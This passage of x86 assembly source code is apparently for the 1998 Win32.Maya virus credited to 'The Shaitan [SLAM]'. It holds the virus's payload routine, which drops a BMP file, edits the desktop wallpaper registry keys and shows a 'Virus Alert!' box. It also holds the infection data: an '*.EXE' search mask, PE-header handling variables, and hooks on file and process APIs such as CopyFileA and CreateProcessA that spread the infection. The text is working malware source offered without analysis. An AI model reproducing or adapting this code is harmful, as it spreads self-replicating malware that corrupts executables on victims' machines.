je payload_end ; Yes. Don't continue...
mov [_MessageBoxA+ebp],eax ; Save address of API function
mov edx,offset sysinf_string; ASCIIZ "SystemParametersInfoA"
add edx,ebp ; Adjust
mov eax,[user32+ebp] ; Base address of USER32.DLL
call VxGetProcAddress ; Get address of API call
cmp eax,00000000h ; Function failed?
je payload_end ; Yes. Don't continue...
mov [_SystemParametersInfoA+ebp],eax; Save address of API function
push 00000000h ; Handle to template file (?)
push FILE_ATTRIBUTE_NORMAL ; File attributes
push CREATE_ALWAYS ; Create new file
push 00000000h ; Security attributes
push FILE_SHARE_READ ; Allow read access to others
push GENERIC_WRITE ; Open for writing only
mov eax,offset wallpaper ; ASCIIZ Filename ("SLAM.BMP")
add eax,ebp ; Adjust with delta
push eax ; Pass as parameter
mov eax,[_CreateFileA+ebp] ; Address of API to call
call eax ; Call API
cmp eax,0ffffffffh ; Error?
je payload_end ; Yes. Don't continue
mov [bmp_handle+ebp],eax ; Save opened file's handle
push 00000000h ; Overlapping (not supported)
mov eax,offset num_bytes_written; Actual no. of bytes written
add eax,ebp ; " " " " "
push eax ; " " " " "
push bmp_filesize ; No. of bytes to write
mov eax,offset bmp_data_start; Start of BMP data buffer
add eax,ebp ; " " " " "
push eax ; " " " " "
push [bmp_handle+ebp] ; Handle of opened file
mov eax,[_WriteFile+ebp] ; Address of API to call
call eax ; Call API
push [bmp_handle+ebp] ; Handle of opened file
mov eax,[_CloseHandle+ebp] ; Address of API to call
call eax ; Call API
mov eax,offset phkey ; Address of handle of open key
add eax,ebp ; " " " " "
push eax ; " " " " "
push KEY_SET_VALUE ; Security access mask
push 00000000h ; Reserved (?)
mov eax,offset subkey ; Address of name of subkey to open
add eax,ebp ; " " " " "
push eax ; " " " " "
push HKEY_CURRENT_USER ; Handle of open key
mov eax,[_RegOpenKeyExA+ebp]; Address of API to call
call eax ; Call API
push 00000002h ; Size of value data
mov eax,offset twp_data ; Address of value data
add eax,ebp ; " " " "
push eax ; " " " "
push REG_SZ ; Flag for value data
push 00000000h ; Reserved (?)
mov eax,offset twp_string ; Address of value to set
add eax,ebp ; " " " "
push eax ; " " " "
push [phkey+ebp] ; Handle of key to set value for
mov eax,[_RegSetValueExA+ebp]; Address of API to call
call eax ; Call API
push 00000002h ; Size of value data
mov eax,offset wps_data ; Address of value data
add eax,ebp ; " " " "
push eax ; " " " "
push REG_SZ ; Flag for value data
push 00000000h ; Reserved (?)
mov eax,offset wps_string ; Address of value to set
add eax,ebp ; " " " "
push eax ; " " " "
push [phkey+ebp] ; Handle of key to set value for
mov eax,[_RegSetValueExA+ebp]; Address of API to call
call eax ; Call API
push 00000000h ; User profile update flag
mov eax,offset wallpaper ; ASCIIZ filename of .BMP file
add eax,ebp ; " " " "
push eax ; " " " "
push 00000000h ; Not applicable here
push SPI_SETDESKWALLPAPER ; System parameter to set
mov eax,[_SystemParametersInfoA+ebp]; Address of API to call
call eax ; Call API
push MB_ICONEXCLAMATION ; Style of message box
mov eax,offset mbox_caption ; Address of msg box caption text
add eax,ebp ; " " " "
push eax ; " " " "
mov eax,offset mbox_text ; Address of msg box body text
add eax,ebp ; " " " "
push eax ; " " " "
push 00000000h ; Handle of parent window
mov eax,[_MessageBoxA+ebp] ; Address of API to call
call eax ; Call API
payload_end:
ret ; Return to caller
;----------------------------------------------------------------------------
; DATA -
;----------------------------------------------------------------------------
kernel32 dd 0BFF70000h
module_base dd 400000h
windir db 128 dup (?)
currdir db 128 dup (?)
st SYSTEMTIME ?
wfd WIN32_FIND_DATA ?
search_handle dd ?
exe_match db "*.EXE",0
ori_attrib dd ?
infect_success dd ?
infect_counter dd ?
AddressOfFunctions dd ?
AddressOfNames dd ?
AddressOfOrdinals dd ?
itd_va dd ?
fsize_high dd ?
new_filesize dd ?
file_handle dd ?
map_handle dd ?
map_address dd ?
pe_header dd ?
last_entry dd ?
file_align dd ?
ori_eip dd offset g1_quit - 400000h
new_eip dd ?
tmp_eip dd ?
size_rawdata dd ?
k32_string db "KERNEL32.dll",0
k32_string_len equ $ - offset k32_string
; API_NAME_STRUCT -
;
; DWORD LengthOfAPIString
; BYTES ASCIIZAPIString
; DWORD APIAddress
;
api_names:
GMH_string_len dd offset _GetModuleHandleA - offset GMH_string
GMH_string db "GetModuleHandleA",0
_GetModuleHandleA dd ?
GPA_string_len dd offset _GetProcAddress - offset GPA_string
GPA_string db "GetProcAddress",0
_GetProcAddress dd ?
CFA_string_len dd offset _CreateFileA - offset CFA_string
CFA_string db "CreateFileA",0
_CreateFileA dd ?
WF_string_len dd offset _WriteFile - offset WF_string
WF_string db "WriteFile",0
_WriteFile dd ?
GFS_string_len dd offset _GetFileSize - offset GFS_string
GFS_string db "GetFileSize",0
_GetFileSize dd ?
CFM_string_len dd offset _CreateFileMappingA - offset CFM_string
CFM_string db "CreateFileMappingA",0
_CreateFileMappingA dd ?
MVOF_string_len dd offset _MapViewOfFile - offset MVOF_string
MVOF_string db "MapViewOfFile",0
_MapViewOfFile dd ?
UVOF_string_len dd offset _UnmapViewOfFile - offset UVOF_string
UVOF_string db "UnmapViewOfFile",0
_UnmapViewOfFile dd ?
CH_string_len dd offset _CloseHandle - offset CH_string
CH_string db "CloseHandle",0
_CloseHandle dd ?
FFFA_string_len dd offset _FindFirstFileA - offset FFFA_string
FFFA_string db "FindFirstFileA",0
_FindFirstFileA dd ?
FNFA_string_len dd offset _FindNextFileA - offset FNFA_string
FNFA_string db "FindNextFileA",0
_FindNextFileA dd ?
FC_string_len dd offset _FindClose - offset FC_string
FC_string db "FindClose",0
_FindClose dd ?
SFP_string_len dd offset _SetFilePointer - offset SFP_string
SFP_string db "SetFilePointer",0
_SetFilePointer dd ?
SEOF_string_len dd offset _SetEndOfFile - offset SEOF_string
SEOF_string db "SetEndOfFile",0
_SetEndOfFile dd ?
GCD_string_len dd offset _GetCurrentDirectoryA - offset GCD_string
GCD_string db "GetCurrentDirectoryA",0
_GetCurrentDirectoryA dd ?
SCD_string_len dd offset _SetCurrentDirectoryA - offset SCD_string
SCD_string db "SetCurrentDirectoryA",0
_SetCurrentDirectoryA dd ?
GFA_string_len dd offset _GetFileAttributesA - offset GFA_string
GFA_string db "GetFileAttributesA",0
_GetFileAttributesA dd ?
SFA_string_len dd offset _SetFileAttributesA - offset SFA_string
SFA_string db "SetFileAttributesA",0
_SetFileAttributesA dd ?
GST_string_len dd offset _GetSystemTime - offset GST_string
GST_string db "GetSystemTime",0
_GetSystemTime dd ?
GWD_string_len dd offset _GetWindowsDirectoryA - offset GWD_string
GWD_string db "GetWindowsDirectoryA",0
_GetWindowsDirectoryA dd ?
EndOfAPI_strings dd 'MAYA'
;
; API calls that we will try to hook...
;
hookable_api:
MF_string_len dd offset _MoveFileA - offset MF_string
MF_string db "MoveFileA",0
_MoveFileA dd ?
MF_handler dd offset HookMoveFile
CFH_string_len dd offset _CopyFileA - offset CFH_string
CFH_string db "CopyFileA",0
_CopyFileA dd ?
CFH_handler dd offset HookCopyFile
CFILE_string_len dd offset _CreateFileHook - offset CFILE_string
CFILE_string db "CreateFileA",0
_CreateFileHook dd ?
CFILE_handler dd offset HookCreateFile
DF_string_len dd offset _DeleteFileA - offset DF_string
DF_string db "DeleteFileA",0
_DeleteFileA dd ?
DF_handler dd offset HookDeleteFile
SFAH_string_len dd offset _SetFileAttributesHook - offset SFAH_string
SFAH_string db "SetFileAttributesA",0
_SetFileAttributesHook dd ?
SFAH_handler dd offset HookSetFileAttributes
GFAH_string_len dd offset _GetFileAttributesHook - offset GFAH_string
GFAH_string db "GetFileAttributesA",0
_GetFileAttributesHook dd ?
GFAH_handler dd offset HookGetFileAttributes
GFPN_string_len dd offset _GetFullPathNameA - offset GFPN_string
GFPN_string db "GetFullPathNameA",0
_GetFullPathNameA dd ?
GFPN_handler dd offset HookGetFullPathName
CP_string_len dd offset _CreateProcessA - offset CP_string
CP_string db "CreateProcessA",0
_CreateProcessA dd ?
CP_handler dd offset HookCreateProcess
last_hook dd 'SHAI'
; Data for the payload -
subkey db "Control Panel\Desktop",0
phkey dd ?
twp_data db "1",0
wps_data db "0",0
twp_string db "TileWallpaper",0
wps_string db "WallpaperStyle",0
wallpaper db "SLAM.BMP",0
bmp_handle dd ?
num_bytes_written dd ?
mbox_text db "Win32.Maya (c) 1998 The Shaitan [SLAM]",0
mbox_caption db "Virus Alert!",0
u32_string db "USER32.dll",0
a32_string db "ADVAPI32.dll",0
user32 dd ?
advapi32 dd ?
shell32 dd ?
regopen_string db "RegOpenKeyExA",0
regset_string db "RegSetValueExA",0
msgbox_string db "MessageBoxA",0
sysinf_string db "SystemParametersInfoA",0
_RegOpenKeyExA dd ?
_RegSetValueExA dd ?
_MessageBoxA dd ?
_SystemParametersInfoA dd ?
; The BMP file data -
bmp_data_start:
db 42h, 4Dh, 0E6h, 00h, 00h, 00h, 00h, 00h
db 00h, 00h, 3Eh, 00h, 00h, 00h, 28h, 00h
db 00h, 00h, 3Ch, 00h, 00h, 00h, 15h, 00h
db 00h, 00h, 01h, 00h, 01h, 00h, 00h, 00h
db 00h, 00h, 0A8h, 00h, 00h, 00h, 0C4h, 0Eh
db 00h, 00h, 0C4h, 0Eh, 00h, 00h, 00h, 00h
db 00h, 00h, 00h, 00h, 00h, 00h, 00h, 00h
db 00h, 00h, 0FFh, 0FFh, 0FFh, 00h, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0E0h, 02h
db 00h, 83h, 0E2h, 0Eh, 3Ch, 70h, 0E0h, 02h
db 00h, 83h, 0E2h, 0Eh, 3Ch, 70h, 0E3h, 82h
db 0Fh, 83h, 0E2h, 0Eh, 3Ch, 70h, 0E3h, 82h
db 0Fh, 83h, 0E2h, 0Eh, 3Ch, 70h, 0E3h, 82h
db 0Fh, 80h, 02h, 0Eh, 3Ch, 70h, 0FFh, 82h
db 0Fh, 80h, 02h, 0Eh, 3Ch, 70h, 0E0h, 02h
db 1Fh, 0C3h, 86h, 1Eh, 3Ch, 70h, 0E0h, 02h
db 3Fh, 0E3h, 8Eh, 3Eh, 3Ch, 70h, 0E3h, 0FEh
db 3Fh, 0E3h, 8Eh, 3Eh, 3Ch, 70h, 0E3h, 0E2h
db 3Fh, 0E3h, 8Eh, 3Eh, 3Ch, 70h, 0E3h, 0E2h
db 3Fh, 0E3h, 8Eh, 3Eh, 3Ch, 70h, 0E3h, 0E2h
db 3Fh, 0E3h, 8Eh, 3Eh, 3Ch, 70h, 0E0h, 02h
db 3Fh, 0E0h, 0Eh, 00h, 00h, 70h, 0E0h, 02h
db 3Fh, 0E0h, 0Eh, 00h, 00h, 70h, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h, 0FFh, 0FFh
db 0FFh, 0FFh, 0FFh, 0FFh, 0FFh, 0F0h
bmp_data_end:
code_end:
g1_quit:
push 00000030h ; MB_ICONEXCLAMATION
push offset mb_caption ; Title of message box
push offset mb_text ; Text to display
push L 0 ; Handle to parent (none)
call MessageBoxA ; Display the message box
push L 0 ; Return value
call ExitProcess ; Exit to OS
mb_caption db "Virus Alert!",0
mb_text db "Win32.Maya (c) 1998 The Shaitan [SLAM]",0
ends
end code_start